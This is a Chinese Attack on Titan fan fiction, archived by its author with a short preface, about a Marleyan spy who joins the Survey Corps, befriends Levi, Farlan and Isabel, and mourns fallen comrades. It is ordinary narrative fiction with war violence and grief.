《[进巨/利威尔bg]黑山羊之卵》
1. 说明
这是我中学写的文了,应该算是我真正意义上的第一篇文。发在这里只是为了纪念,实在想看巨同可以看看。其它就不用了。
这文本来是删除了的,发文的账号也注销了。但想了想还是在这里存个档吧。这个号签约了,不能注销账号,只能锁文,这篇文大概会和晋江这个网站一起赛博永生了。
因为我很鸽子很懒,兴致来了才会写文,所以我能写10万字确实难得。还是在中学时代,更难得了。
之前是觉得很羞耻才删的,但突然翻到了我中学的日记本,看了好久,最后想起来这篇我自己写的同人文。我果然还是想要一个纪念,说不定等我到3
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0岁了,会好奇我十几岁都写了什么呢。不过也或许,30岁的我不会关心这些事。连这个账号都不会用了。我果然还是要学会正视过去啊。
这文并没有完结,只是我不会再写了,才打了完结标。
巨人真的陪伴了我的整个成长过程啊。真好。我还是很喜欢巨人。
2. 隔着山,隔着海
第一篇章 沉默的羔羊
——
#引子
大战结束后九十六年,老斯温德勒在一个大雪纷飞的冬夜冻死了。这个九十六年前还只有八岁的战争遗孤只留下了一笔丰厚的遗产和一堆破烂。
那堆破烂里有一个铁盒子。里面装着很多张老旧的相片,大多都是一个脸上有很多缝合线的男人和一个女人的合照,在各种各样的地方,不同的年龄阶段。
男人在有几张相片里穿了军装,他是百年前艾尔迪亚的士兵长。但是那个女人是谁,没有人知道。据说这位士兵长终身未婚,也没有家人。
其实那堆破烂里还有一本笔记。或许它可以告诉人们答案和一些荒诞的真相。那本手写的破旧笔记上面有着不同的字迹,或许它曾经经历过几任主人。
笔记的封面上刻了一只飞鸟,扉页有一段用蓝色钢笔写下的话:
致看到这本笔记的人,
这本笔记曾经属于某一个人,后来由她的友人们收集补充,装订成本以怀念这本笔记的主人。
故事很简单,仅仅只是讲述了关于一个间谍的故事,她出生在世界上所有枫叶都会回归的地方……
第一章隔着山,隔着海
0.
海风吹过我的面庞,带来了陌生的气味和景象,那是汹涌的,带着咸味的。
我出生在大山,未曾见过大海。
我最初所听说的大海存在于奶奶的故事里,它往往以某个存在流淌的泪水出现。而不是现在这样:辽阔、凶恶、让人心生畏惧的。多年前,我见过的那片火焰组成的海也是这样的。
诗人歌颂大海的汹涌,赞扬它的浪漫,勇敢和海上发生的史诗。但我看大海只觉得寒凉,或许和我的身份有关。
我是一名军人,马莱军人。
而现在我即将要执行一项任务。这项任务不同于其它保密任务。它的名称不会在档案室里沉默很久或者在达成使命的那一刻就被销毁,而是在诞生的那一刻就为公众所知。只是大部分平民百姓不清楚具体的计划和目的罢了。
因为这项任务的目标,是一整个被困于岛上,与外界完全隔绝的国家——艾尔迪亚。我们不向公众隐瞒它。反正他们也不可能漂洋过海去给艾尔迪亚人通风报信。
大家都恨不得他们早点去死。或者说除了马莱政府和艾尔迪亚人,所有人都恨不得他们早点去死。
我们都恨透了巨人。它们掠夺了太多。
“伊莱扎,你该出发了。”
这是老将军第三次催促我赶紧上船,而这次我没有理会他。
我想等柯洛琳小姐过来……她对我来说,是具有独特意义的人。
我该怎么讲述她对我的意义呢?她是第一个给我念诗的人……
她或许忘记了时间。这次告别,下次见面就不知道是什么时候了,我也不知道我们能不能有这个机会再见面了。
或许我会死在这次行动里。
她没有来,我很难过。
大海的气息太过陌生,让我有些不知所措。所以我踮起脚尖,妄想这样就能望到生我养我的那座大山。
自那以后,我已经多年没有回去。我也不想回去。
可什么也没有,我只看到了马莱街道上层层堆叠的房屋。意识到这点让我有些喘不过气。
“伊莱扎,你该走了。”老将军再次提醒我。
我只好提起箱子,然后头也不回地走上了甲板。
我倔强地没有理会背后的人的祝福,我知道他们不为我祝福,只是为这次行动而祈祷。于是我只是盯着海面。
等船开始行驶时我才回头了,然后我一直注视着马莱大陆逐渐消失在海平面才回到了船舱。
船长他们以为我是舍不得马莱,又或者觉得我这个小姑娘在害怕去执行这项任务。
其实都不是。但我也没有解释。
就像我没有解释:我虽然是马莱军人,却不是马莱人。
我来自战败国,是俘虏。是为了活下去而投降了马莱的叛徒。
我在山上长大,山养育了我,我也曾以为那是我的归宿。在我的故乡有很多枫树,很漂亮。但我从族人被吃光的那天起,就叛逃去了马莱,成为老将军名义上的养女……我投降马莱时只有十六岁,现在已经过去了六年。
那座山,也就再也没有回去过了。
如果命运允许,我想在死前回那里去,我想再看一次,那一整片山的枫树。
1。
我潜伏进了墙内并顺利入了训练兵团。我本来以为我会成为黑户,或许还得用点手段买到户口,所以我还带了点黄金进来的。
额,但是墙内的情况,挺适合我潜伏进来的……艾尔迪亚人真的太不见外了,这安全措施就跟没有似的。
总之,我的黄金没用,还在我的背包里。
训练兵团训练的项目对我来说都不是问题,我想马莱对我的训练或许更难些。
毕竟他们是躺在砧板上的鱼肉,而我们是时时刻刻与死神交锋的战士,呵,战士……
除了立体机动器有点让我意外,哈,谁能想到艾尔迪亚人竟然会想要杀死巨人,他们果然是不知道巨人和他们是同胞吧?
在兵团我认识了一位少爷,家里似乎是做生意的。据他说,他是为了入宪兵才开始训练的。
这个傻白甜少爷说:“我一直觉得我们这里的宪兵一点也不为民众考虑,我想改变这种情况。”
我肯定了他的想法:“哦,那你加油。”
然后这个傻叉就认为我们是朋友了,他没听出来我是在嘲讽他吗!
哦,他叫德里克。姓氏我不清楚。
从德里克那里,我知道了一些墙内的情况。墙内人知道的东西比我想的少太多了,他们就像是被豢养的猪,等着被宰割。
我知道马莱如果得知这里的资源比他们想的多,会来攻占这里。夺取始祖巨人或许只是个试探。
但这不是我该思考的问题,我只是个先遣人员。等战士们来,我和他们做好交接工作,完成了任务,我就该回去了。
我每天都在游手好闲。德里克每天都很努力地训练,为了当上宪兵。而我从他那里打听了一些关于兵团的事情,左思右想后,我决定未来我要报调查兵团。
知道我的选择的人都觉得很不可思议,甚至对我有所改观,开始认为我是一个热血的理想主义者。我开始期待他们被马莱入侵那天,看到穿着马莱军装的我时的表情。那一定会很精彩吧。
2。
前段时间,德里克提到了地下街。他说他以前会偷偷溜进地下街,那里会谈论很多上面谈论不了的事。
“比如?”
“比如一些贵族,你知道他们……”
他说的很多都是小八卦,但我就是想听,也想去新地图转转……
我前几天偷偷潜入一个贵族家里被发现了。虽然我没有暴露身份也成功逃出了,但我的屁股受到了严重的伤害,嗯,怎么受伤的就不详细记录了,我好歹是个要面子的人。
鉴于我受了伤,我认为我有必要给自己放个假。不用等上司批准就能有假期,真的是太爽啦!
所以,他偷溜去地下街的时候,我就跟着他一起在地下街四处转悠。
结果我们意外地和人发生了冲突,打了一架。打的过程太过混乱,我一不小心就打错人了。
然后我就和矮子——也就是利威尔——认识了。
所以我总说我们的相识是一场意外。
当时被我狂揍的那个是好像是他的同伴,他一过来就看见我这个疯女人骑在他同伴身上暴揍,自然而然……
接下来的画面有些残暴,我跳过了。那个混蛋,他知不知道直到现在我的脸都在痛啊?
屁股疼已经够烦了,脸还被创了一下!
利威尔或许是不会主动打女人,他对女人会稍微多那么一点点的耐心。但是如果那个女人要和他打架,他是一点也不会手下留情。甚至还会打脸!
呵,身高全点在了战斗力上是吧。
虽然第一次见面不是件好事,但好歹也算是不打不相识,我们现在是“非常和谐”的朋友。
但我们是朋友这件事,并不能解释他没收我的糖果这种无耻行为。
这家伙怎么说都有28了,就因为我总是嘲讽他矮,就这样来报复我。小气鬼。
哦,他很讨厌,但经常和他一起的法兰也是个烦人精。他总想方设法让我帮他多干点打扫工作,因为利威尔对于房屋清洁度的要求实在太高了。
4。
我有一把匕首。是我的母亲送给我的。上面镌刻我的国家的字,还有少量的马莱文字。这把匕首很锋利。
但这把匕首被法兰拿走了,然后沦落到了利威尔那。
好不容易混到了兵团放假,我就冲进了男寝,不顾隔壁那个正在换衣服的壮汉娇羞的“雅蠛蝶”,把德里克从被窝里拉了出来。
那个满脸胡茬子的壮汉的嗓音真的太娇嫩了……听一次,我就丧失了一切性功能。
德里克这小子有福了,他可以英年早萎。
“大少爷,快点!起床了,起床了!你该起床了!”
“不~我要再睡会。”
这家伙竟然敢无视了我?可恶!
我对着他的头给了他一个重击,然后一把扯起他的衣领,咬牙切齿:“上次如果不是你个逼崽子跟法兰那个臭不要脸的打赌,结果借走了我的亲亲小宝贝。我的亲亲小宝贝怎么会沦落到利威尔那里去,小宝贝肯定受了很大的虐待……快!我已经好久没摸我的小宝贝了……”
德里克把我的脸推开,说:“那是把匕首,你能不能清晰点。还有为什么匕首都是亲亲小宝贝,我就是逼崽子?”
“你这不是废话吗?”我不敢置信,“你竟然敢跟我的小宝贝比?难不成我不摸我的小宝贝,我来摸你?你连腹肌都没有,我可有八块!”
“少侮辱人了.......我起码有……六块好吧!再说了,我没有那么多……是因为……是因为我吃的少!”他气急败坏。我知道戳他这点他必定破功。
唉,没办法。毕竟我的肌肉很完美,他嫉妒是应该的。
他抓起枕头朝我扔过来,“出去!我要换衣服!”
“那祝宪兵大人快点换完衣服,小奴就在外面恭候您了~”
“不要那么恶心!啊啊啊我真的受不了你了!”
“嘻嘻嘻。”
等德里克换完衣服,太阳都升空了。
去地下街意味着我们得去希娜城墙里,好在德里克家有钱有势。所以我才要去找德里克,他就是我行走的城墙通行证。
对此,德里克只有一句评价:“有钱就是好啊。”
该死的有钱人!
5。
敲门的人是我,但一等门把手转动了,里面的人要推开门时,德里克就一把把我推开,然后扑了过去,边哭边叫道:“伊莱扎竟然跑到我寝室叫我起床,我的清白啊……”
他突然没有说话了。
他挡着我的路,又杵在门口不动。我推开他:“德里克,你清白早没了,再说利威尔总不会因为你抱了他就……”
德里克并没有抱着利威尔或者法兰,利威尔也没有把他头打爆……但是他愣在那里的理由我大概懂了。
因为那有个女孩子,还是我俩没见过的。而且法兰正在给那个女孩上立体机动器。
我吹了声口哨,“哟,哪来的这么好看的女孩~”
“她叫伊莎贝尔。”法兰简单介绍了一下伊莎贝尔,德里克这个花孔雀就自顾自地冲过去做自我介绍了。伊莎贝尔人挺外向的,直接就和德里克唠嗑上了。
我又推了推挡路的德里克,“起开,起开。”
“你们还没分兵团啊?” 法兰说,“我还以为这回就能看到两位宪兵大驾光临我们这个破屋子了。”
德里克把头转了过来:“还没分呢。”
“而且也只有一个宪兵,我要加入调查兵团。”我说。
“哦,你要加入……什么?!”法兰突然破音,“你要加入调查兵团!”
“嗯嗯嗯……我心意已决。你们就祝福我不要被巨人给吞没了就行。”
“你可以安心了。就凭你满嘴喷粪的实力,进了巨人肚子都会被吐出来。”利威尔这才拿正眼看我们。
我摆了个鬼脸:“好了,利威尔,知道你在担心我了。我会尽力活下去的。”
我走到利威尔旁边,从他旁边的柜子里拿出了两个茶
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杯,“上次我带花茶你不喜欢,所以我就又换回红茶了。”
利威尔爱喝茶,但不爱喝咖啡。真是个没品味的人。可我有什么办法,自然是将就他了!
顺带一提,咖啡才是最好喝的饮品。
我和德里克来的次数多了以后,他们就给我们备了两个茶杯,所以我每次来都会带些茶叶,砂糖,牛奶,甜品啊什么的。
虽然他们可能更需要钱,或者地面居住权。但拿钱对于我们目前的关系来说,还是太不尊重他们了。
更何况我也没钱啊……
不一会,我茶也泡好了。不是我吹,但我泡茶技术真的是一流。
以前我有个训练任务。要刺杀一个人,我在他家当婢女。为了能拿到泡茶的那个工作方便我投毒毒死他,我练得一手好茶。
不过来这之后我泡茶还没用上投毒,所以总觉得少了些什么。要不下次投点到法兰的杯子里去吧。
我大声朝他们喊:“你们喝茶吗?”
“喝!”虽然只有德里克回复了我,但我默认他们都要喝。
我给每个人都倒了一杯茶后,才仔细打量起了伊莎贝尔,她注意到我的目光后,露出了一副小狗般的疑惑,我冲她笑了笑:“我以前认识一个人也叫伊莎贝尔,和你年纪差不多大的样子,看到你我就想起了她。”
那个女孩死在战火里了,所以说啊,战争就是狗屎。
哦,也不能这么说,毕竟我这个人渣或许就是为帕拉迪岛上的人们带来战争的狗屎。狗屎能叫另外一个东西是狗屎吗?应该不太合适吧。
德里克马上来烦我: “我怎么不知道你有个朋友叫伊莎贝尔?”
“你不知道我的事很多,亲爱的,”德里克那家伙的表情就跟吃屎一样,不过我叫他亲爱的本来就是为了恶心他,“人与人之间要有距离感,这才能保持对彼此的喜爱。”
“对了,法兰,利威尔,你们准备教她立体机动器?”我问了我进门就想问的问题。我一直知道他们会用立体机动器,但我不知道他们的水平如何。不过利威尔打架倒是很厉害。
顺带一提,他们能够搞到立体机动器可是有我的帮助。这事德里克没参与,他是个正直的傻白甜,要不是因为他把利威尔当自己人,他早就去举报了。
“是的!我跟大哥说了好久,他才同意了!”伊莎贝尔激动地说,“其实我已经飞过那么一两次了,只是还是不太熟练。”
“哦……这样啊,那等会我们可以一起飞一下?我还没试过地下街里用呢。”
德里克在一旁幽怨地说: “伊莱扎,你个混蛋……我今天都没有带立体机动器。”
“你不是要去找你的女友约会……哦,忘了,她现在还是你的暗恋对象,哈哈哈。”
伊莎贝尔闻言震惊地看着我和德里克,“你们不是情侣?可你刚刚还……”
“不是,我跟谁都有可能,就是不可能和德里克这个花孔雀在一起的。”
“这话是我来说好吗?谁会跟你这个暴力红眼面瘫女在一起?我又不是受虐狂!”德里克收拾好之后马上就奔出门了。估计是不想被我揍才跑的那么快,额……不过更多应该是为了早点去约会。
“他要去和他的缪斯一起吃饭……”我在德里克走了之后才这么说,“我都有好久没和人一起好好吃饭了。”说完我满怀期待地看着利威尔。
我在兵团里总是独来独往。我不希望和他们产生过多不必要的联系,因为以后,我或许会杀死他们。但是地下街的他们不一样,我不会亲手杀死他们,因为地下街的底层人生还是死都只是一枚炸弹的事,他们的命如草芥,连敌人亲自动手的必要都没有。
利威尔说: “留下来吃饭没问题,但你洗碗。”
其实利威尔每次都说让我洗碗,但最后往往都是他洗。
不过我是不会说出来的,不然这家伙就会恼羞成怒,然后我的脑袋就会开花,碗以后也都会是我洗。
法兰也来掺一脚,“是啊是啊,伊莱扎每次都不洗碗,蹭吃蹭喝第一名。”
呵,法兰这个家伙,等着被我揍吧。利威尔我不一定打的过,你我还收拾不了吗?
6。
伊莎贝尔缠着我让我陪她去飞,我想这也是让我试探试探他们用立体机动器水平的好时机,于是我提议我们四个来比赛。
利威尔身上已经穿好了立体机动器,我微微低下头打量他的装备,想起了自己最开始连穿这个东西都不知道如何下手。
利威尔是个很不一般的人。我第一次和他交手时我就意识到了,虽然我没有发挥全力,但作为一个没有经过规范训练的混子,能够达到现在这样的水平……说是天才也不为过吧?
所以说,他是个很不一般的人。如果不是地下街困住了他,城墙困住了他,他一定能取得荣耀吧。
在穿戴立体机动器时,我问利威尔:“你知道海吗?”
“不知道。”
“那是墙外的一种东西,是很大很大的盐水湖,……”我补了一句,“我在书里见到过。”
“那种东西太遥远了。”利威尔抬起头,“你很想看见吗,也是因为这个原因才加入调查兵团?”
“不算是……我加入调查兵团只是因为……额……”
完了,我根本没编过理由啊?总不可能直接说:啊我是来端了你们岛的。不过就算这么说,也没人会信吧!
我一本正经地看着利威尔说:“是为了理想,我要为人类在探索真相的道路上添砖加瓦。”
“噗——”法兰控制不住大笑了起来。
连利威尔都笑了!他们什么意思!
只有伊莎贝尔没有笑,她好像不太明白。果然只有她是好人,嗯。
法兰马上说:“那只是因为伊莎贝尔还不了解你,不知道这句话从你口中说出来有多搞笑哈哈哈……”
“你不说话没人把你当哑巴。”
我冲在前面跃跃欲试,利威尔回头看着法兰和伊莎贝尔,“要开始了。”
这是我第一次在地下街用立体机动器。密闭的空间仍然保证了我的身手活动便利,这给了我一个错觉:地下街好像和地面没有区别。
但我知道,笼子再大,它也是笼子。而鸟儿总归是会想要飞出牢笼的。
3. 雪
6.
我在调查兵团待了一年。但我依然没有战士们的一点音讯。我有时候会怀疑,自己是不是已经被抛弃了。也或许马莱后悔了,延迟了计划。
再这样下去,要是我身份暴露了。是真的会被杀死的吧。没有哪个谎言是持久的,我不想时时刻刻都活在这种不安中。
望着那座高墙,我陷入了一种迷茫的情绪里。我好想变成一只飞鸟,去我想去的地方。
偶尔,我也会想到马莱,想到和我隔着一片大海的珂洛琳小姐。多年前,也是在这样的午后,珂洛琳小姐握住了我脏兮兮的双手,教我写字,给我诵念了一首又一首诗。因为她,我窥视到了另一个世界,充满诗意的美好本来不应该存在于我的人生中,但是她让我看到了那么一丝希望美好的光景。
我喜欢在训练地那个小山坡的树下睡午觉。这地方很美,光穿过交叉的枝叶抵达我的面颊上,留下点点光斑。我会伸出手,抓向阳光,这样它就会留在我的手心里。静静地感受着,蟋蟀的叫声,夏天有些燥热的空气,碧蓝的天空,明亮的绿色,劳作的人们…
如果我生活在和平的年代,一定能这样安静地享受这个美好的下午,就像珂洛琳给我读的诗一样,平和宁静美好的生活……
我闭上眼。静悄悄地睡了过去。我想做个好梦。梦能让我短暂地逃避现实。
梦里我会在山里和奶奶一起生活,梦里不会有枪弹火药,更不会有巨人。
7。
我不可避免地梦到了火光,惊醒过来。
“伊莱扎!
或许是我的错觉,我竟然听到了伊莎贝尔的叫声。也可能是我太久没去看她,有那么点思念她了。
直到我看到那个红色的影子出现在我面前时,我才明白,这不是梦。伊莎贝尔真的在这。
按耐住内心那个不愿意听到的猜想。我听见我张嘴问她,“伊莎贝尔,你怎么在这?”
她回答说,她和大哥,法兰要加入调查兵团了,而且……
她说到一半,突然住嘴了。
我看见了法兰和利威尔走了过来,我直勾勾地看着他们。法兰躲开了我的目光,利威尔则是毫不犹豫地直视我。我们两个这样对视着。
我想到了曾经看见过的无数个倒下的人,他们曾经也很鲜活,他们曾经也很幸福,然后他们都一个个倒下了。
我说,“利威尔,你不该来的。回去吧。你会后悔的。”
“这和你无关。”
我揍了他一拳,他没有还手,然后我就走了。
如果利威尔加入了调查兵团,对于我们后面的计划来说,一定是个难以铲除的大麻烦,有埃尔文这个变态就够了,现在还有来个战斗力狂飙的人。
那时候,我以为我的怒火是因为我的任务变得更加艰难了。
现在想来,当时的我或许也只是因为,担心他们,才不想让他们来这里吧。因为墙外的世界,世界的现实……这一切都太让人失望难过了。
明明让我一个人痛苦就好了啊……明明你们可以一无所知地,抱着恨意死去就好了……为什么非要飞出笼子呢?
8.
我和利威尔冷战了。法兰和伊莎贝尔先后都来找过我,问我到底在为什么生气。
但我始终都只有一句话,“除非你们离开。”其实我本来可以不用如此决绝的,但长久的烦闷让我变得有些……易怒。
伊莎贝尔被我气到了。法兰或许没有,他只是告诉我“这已经决定了。”然后就走了。
他们什么都不懂。什么都不知道。所以他们为什么不能好好听我的呢?
来调查团不是他们想的那么简单。背后的王政明显不喜欢这个兵团,而内部的抵制和外界的危险,让调查兵团一直在摇摇欲坠的悬崖边上。不论他们是来做什么,调查兵团绝对不是他们以为的那样。这还只是之一,巨人的恐怖更是他们无法想象的,他们到底知不知道有多少人能够从墙外完整地回来?
自由。自由真的有那么重要吗?我从未获得自由,也就不知它会以什么形状出现在我身旁。
但我想,只要他们看到巨人真正的面孔,就会明白这有多危险了,就会回去了。所以我直到出城墙都没有找过他们一次。
过了不久,出墙的日子到了。这也成了我久久无法弥补的遗憾。
9.
下雨了。
雨点打落在我的脸上。
“伊莱扎,注意点。”埃尔文提醒我,他明明在我前面,怎么知道我在走神,真是个可怕的男人。在这样危险的墙外,也不忘观察队员的情况。
他能否察觉我的异心呢?
我戴上兜帽,说:“埃尔文,下雨了。这样看不到巨人的踪迹也不能和其它队的人联系,我们最好还是原地待命。”
“不,前进。”
我闭上了嘴。
他还是我伪装成士兵的上司,我作为间谍被培养的“绝对服从命令”,在他这里,依然管用。也不知道等军官下令让我杀了他,我到底能不能下手。
我沿路跑过了几个人血迹斑斑的尸体。一时有些恍惚。比起墙内看似安详的日常,这种场面我反而更熟悉点。
但当我意识到我竟然希望敌军阵营的士兵不要损失过重。我晃了晃脑袋。呆在这里的几年,让我的思想有些钝化了,如果战士们再不来,我想我真的会忘记了我来这时所带着的仇恨。
看来我在这待的太久了。久到,我都快要以为,他们是我的同伴了。我想到了德里克
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和利威尔他们,一时竟然觉得有些不知所措。
等我回去以后,我就要跟德里克绝交。不能再放任下去了。至于利威尔他们……他们会回地下街的,然后我们就不会有瓜葛了。
10.
我又一次砍下巨人的后颈。那头巨人在倒下前的最后一刻,还不忘给嘴里含着的那个士兵致命一击。
我从巨人的尸体跳下来,扒开巨人恶臭的嘴,把那个士兵拖了出来。
我记得她,她是每晚都会去站岗只是希望大家能多休息一会的那个女孩,她是那个脸上时刻都挂着甜美的笑容的女孩。而现在,她棕色的发丝散乱不堪,浅蓝色的双眼空洞无神,她的腿断掉了,她的肠子流出了体外。
她死了。
我还记得,她有个很小的妹妹,还有很爱她的父母,她家里是开面包店的,她是为了她爱的人才加入了调查兵团。我还记得那个面包店老板娘温柔的眼眸,她会骄傲地谈起自己参军的女儿,会给兵团的人少算一点钱。这个女孩,会温柔地对人说话,会用她最柔和的双眸去注视着我,会羞涩而悲伤地谈起她那个已经死在墙外的爱人,一如她的爱人还活在她身旁一样。
她就像春天一样美好。
但她死了。
人死,也就什么都没有了。
我不明白书里写的,死亡不是真正的结局,遗忘才是……对我来说,一个人死了,那就是结局了。无所谓灵魂的有无,记忆的虚实,那人的贡献……
人死了,那就是死了。
或许她本来可以选择其它的活法的,或许她本来应该是被鲜花鸟语围绕…
而不是,而不是像现在那样毫无生气地躺在血水里,双眼空洞无神。
我曾无数次见证过人死去的模样。
我也杀死过很多人。
他们明明什么也没做错,但他们却要受到惩罚。
而我,明明害死了那么多人,却依然在苟延残喘。
我突然感觉我好想吐。
好恶心……
好恶心,好恶心,好恶心好恶心好恶心!
我收起了刀。
“没时间悲伤了,伊莱扎,现在走吧,”埃尔文说,“不要让他们的死亡成为毫无意义的事。”
意义吗,如果我此刻死在这异国他乡,我的死亡会是有意义的事吗?我的死亡是否又会被谁所铭记呢?
我摆了摆头,骑上马,跟着埃尔文那匹白色的骏马在雨中奔跑起来。
如果雨水能够像洗涤他们的鲜血一样,原谅我的罪过该多好。这样或许我就能安心地迎来我的终末了。
那时候的我这样期盼。但无论是现在,还是过去,亦或者是未来…
我的罪过是大雪也无法掩盖的。
4. 雨
10。
雨下大了。我没忍住又偷偷瞟了一眼埃尔文。
我察觉到埃尔文似乎在等待着什么。
等待什么?虽然这个东西不可能和我间谍工作有关,但我还是忍不住好奇。
除了王室,不会有人知道帕拉迪岛外的世界。我做的这个间谍,除了心累以外,难度其实并不大。毕竟,巨人并不比人类危险多少。有时候,比起有着庞大力量悬殊的巨人,人类才是最危险的存在。
不过……是有个人是知道墙外世界的……我记得我曾在刊登的报纸上看到过:一个从墙外夺取了智慧巨人能力的人……
但那时我自顾不暇,忙着为我的国家安危奔走,对于世事了解甚少,具体是什么情况,我也不知道。现在想来,我是真的脑子有屎。
“伊莱扎,你脸色不是很好。”同队伍的玛丽莲问。“是身体不舒服吗?”
真搞笑。安慰我最多的竟然是我所憎恶的恶魔们的后裔。
艾尔迪亚人。
我强笑着:“不,我只是不喜欢下雨天。”
“雨天啊,总让人觉得接下来会有很多人离去一样。其实,我一直都不喜欢分别来着。”
“没想到啊,你看上去不太像是这样感伤的人。”
“哈哈,其实更多的原因是雨声太吵了。我听着很容易焦躁。”我并不觉得我是个容易感伤的人,就算是,时代也不允许我这样的人感伤了。
“我讨厌雨天是因为,这对于墙外的调查而言很危险,我们会更难预测巨人的行踪,”玛丽莲说,她是个对自己很严苛的士兵,一个好士兵,“同时,也会失去对其它班的人的联系。”
“不仅仅是雨天,只要是在墙外,我们都是危险的……”出乎预料的是埃尔文接嘴了,“人类还是太弱小,太无知了……”
“是啊,什么都不知道的被圈养起来的羔羊可真糟糕。”我应和。“或许哪天,等狼来了,羔羊才能认清现实呢……”
我停住了话头。对上了埃尔文冰冷而带有审视的目光,在那个目光之下,隐藏的是……
我皱眉。
这是个疯子。我确定了我对他的初印象。以后我得离他远点。他太危险了。
但这样的人,往往是能够走的远的人。如果他一直坚定如此的话。
每当我觉得这些人太过复杂危险时,我就会很想伊莎贝尔。利威尔和法兰虽然没有这些人如此心思深沉,但是他们也不如伊莎贝尔单纯。我很多时候只需要看着伊莎贝尔的眼睛就能知道她在想什么。
她不会掩藏情感,也不会掩盖她的喜欢和讨厌。虽然她也有耍滑头的时候,但这反而显得她更可爱了。
我喜欢她这样直率可爱的人。
11。
原来红发也会被鲜血玷污。
我沉默地走到伊莎贝尔的头颅旁,蹲了下来,把她面颊上的血迹擦干净,替她合上双眼。
我原本以为我是不会难过的。
我看到了法兰破碎的身躯。但我不敢过去。光是伊莎贝尔就已经够让我难过了,何况是法兰?
这里是真正的人间地狱。
我闭上双眼,默默地说了一声,“安息吧。”希望他们能够听见。
这里都是尸体。尸体太多了,装不回去,这些士兵甚至不能被埋葬。或许来年春天(如果我还在的话)来到这里,依然会是鲜花一片。就好像他们的鲜血从未侵染这片土地一样。
不是所有的死亡都有意义,但多数时候我见到的都是无意义的死亡。可话又说回来,什么样的死亡才算是有意义呢?
我以为我已经对这种场面司空见惯。但我还是很心痛。很难过。明明他们的死和我没有关系。明明就算他们现在不死,以后也会死。可我还是很难过。
埃尔文对利威尔说了什么。我没有听清。也不想听。只是恍然大悟,原来埃尔文等的是这个。但我没有发现答案的快乐。
反正这和我的工作没有关系……对吧?我也不需要知道了,没必要。
但利威尔看上去很糟糕。于是我走了过去。
“利威尔。”我轻轻叫他,可他没有理我。但我能看见他的肩膀在微微颤抖,他紧握着刀把的手青筋暴起……
我觉得我应该说点什么,我看着天上落下的雨滴,法兰和伊莎贝尔零碎的尸体,我觉得我应该说点什么,但终究还是什么都没有说。
埃尔文骑上马,示意我们离开。我不知道该说什么,也不想说。于是骑上马,跟着埃尔文离开。这是我最擅长的事情,听从指令。
没过多久,利威尔追上了我们。
看,我说什么来着,他是一个很不一般的人。
12。
如果说墙外的景象让我痛心,那墙内便是寒心了。
迄今为止我每每想到那时,我回城时的感受,依然会很心寒,很失落。即便我是一个潜伏在士兵里的间谍,但听到他们对于士兵们所付出的一切嗤之以鼻,我还是会感到愤怒难过。很难想象那些真正的士兵又是怎么想的。
至少我会想,凭什么这样否定我们所付出的鲜血?你他妈有本事,就自己出去啊?那些死去的人,难道他们的死就只是这样的吗?
答案是,那时的人们太过愚昧。他们的否定也并无道理。何况人死,是听不到那些否定的。
而且他们的死确实都没有意义。
他们是为了寻求答案而出墙的。这个答案,所谓的真相其实很可笑,也很让人绝望。
一位哲学家说过:“了解只是一半,而爱是另一半。”他是对的,过分注视世界,过分探求所谓的真相,带来的只会是毁灭性的打击,人的心灵无法承载的伤痛。
利威尔看上去像是濒临崩溃的野兽,我敢说如果我不遏制他,他马上就会冲上去威胁那个大笑着的男人。
因为伊莎贝尔和法兰也死了。他不想承认他们的死亡毫无意义。
“利威尔。”我开口,他盯着我,“不要去听。”
我们对峙了一会,直到他把头别开。但好在也没有做出什么举动。他总是能够压抑住自己的情感。
“事到如今,你也该明白了吧,”到了营地后,我听见埃尔文对利威尔说,“调查兵团,人类都处于什么境地。如果你能明白真正的敌人是什么,你那两个同伴也不会白白死亡。”
我知道埃尔文在把利威尔带上一条路。一条注定是属于他的路。但这条路势必会伤害到利威尔。他注定会意识到,他所拥有的力量会让他成为世界上最孤独的人。强大的力量意味着必须承担的责任和孤独。
他也会成为马莱计划的一个绊脚石。
但我没有去阻止。或许我今天的选择会置我于死地,但我只是静静地注视着这一切的发生。
13。
清点了伤亡人数。冷清又还给了我们这些尚且安好的人。
“我吃不下了。”玛丽莲说着放下勺子,“我去睡觉。”
不久,这个餐厅也没剩多少人。
在悲伤的时候,人们往往是吃不进多少食物的。他们看到食物,会想起那些和他们一起吃喝玩乐的人,已经离去的事实。
我想着,往自己的嘴里塞了口面包。
“喂,你,”一个我不认识的男人,或许是叫马克,也或许叫马丁他站起来,“你怎么能吃的
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这么香呢?”
“今天……有这么多人!死在你面前!”他开始歇斯底里起来,这很正常,今天死的人确实太多了,而且很多都是他的同伴,他在崩溃的边缘,总会想要发泄自己的。毕竟他只是一个一般人。
“喂,你别这样!”他身旁那人在他开始扯着我的衣领的时候,跑了过来,“伊莱扎,抱歉,他今天情绪有些失控了。”
“快松手啊,你这家伙!她什么也没做。”
我没有做什么。只是盯着他充血的双目和狼狈的神情。
“可是!可是……”他说着说着就蹲了下去。“伊莱扎……你为什么,一直这样呢……难道你就不会难过吗?”
他慢慢松开拽着我衣领的手,无助地跌落下去,呜咽着,呻吟着。
我蹲下去,让他靠在我的肩头。“不要哭了。”但我只会这样拙劣地安慰人。“逝去的同伴没有离开我们,我们要为了他们而更加努力地活下去。”
我知道埃尔文就在暗处观察我们这边的情况,所以我没有往那边看去。希望我今天的表现足够忠诚正直。
14。
也不知道怎么回事,等我回过神来,就已经站在这了。
“利威尔”我敲敲门。
和我预料中的一样,没有回应。我蹲坐下来,把头靠在门板上。我累了。
“利威尔,我知道你不想和人说话。”当我用这样毫无意义的话开头时,这说明我的身体和神经都十分疲惫。
“没有关系的,我说话,你听着就好了。不听也没事,我只是来这里一下。”
我清晰地记得那时候我闭上了双眼,过了好久才说话:“你做出的选择是好的,加入调查兵团。尽管这个选择不一定正确,但既然你已经做出来了,那它就是好的。”
“我很抱歉。没有在你们加入时欢迎你们,也很抱歉……没有跟他们说最后一句话。”其实我分不清我说这番话里面有多少虚情假意,但至少那个时候我确实是有点想哭的。
他还是没有说话。他应该很难过。
还是沉默,我闭上眼,想象着他一个人坐在椅子上,失魂落魄地望着窗外,或许,他还哭了。但我无法想象他哭泣的样子。
“今天,我看着那个人被巨人吃了。”我说,“我记不住他叫什么,他名字很长。还有个女孩,在那头巨人被我杀死前,她被咬成了两段,如果我能再快一秒钟,或许她现在还会抱着我痛哭……”
“还有很多人。我入兵团一年了。这不是我第一次出城墙。我看到过很多具尸体,但我看到他们的尸体我依然很难过,我只是……”
太害怕了。要是我死了,不会有人像怀念他们一样怀念我。要是我死了,我只会被遗忘。
但我没有把这句话说出口。
我说:“怕我像他们一样死去。”
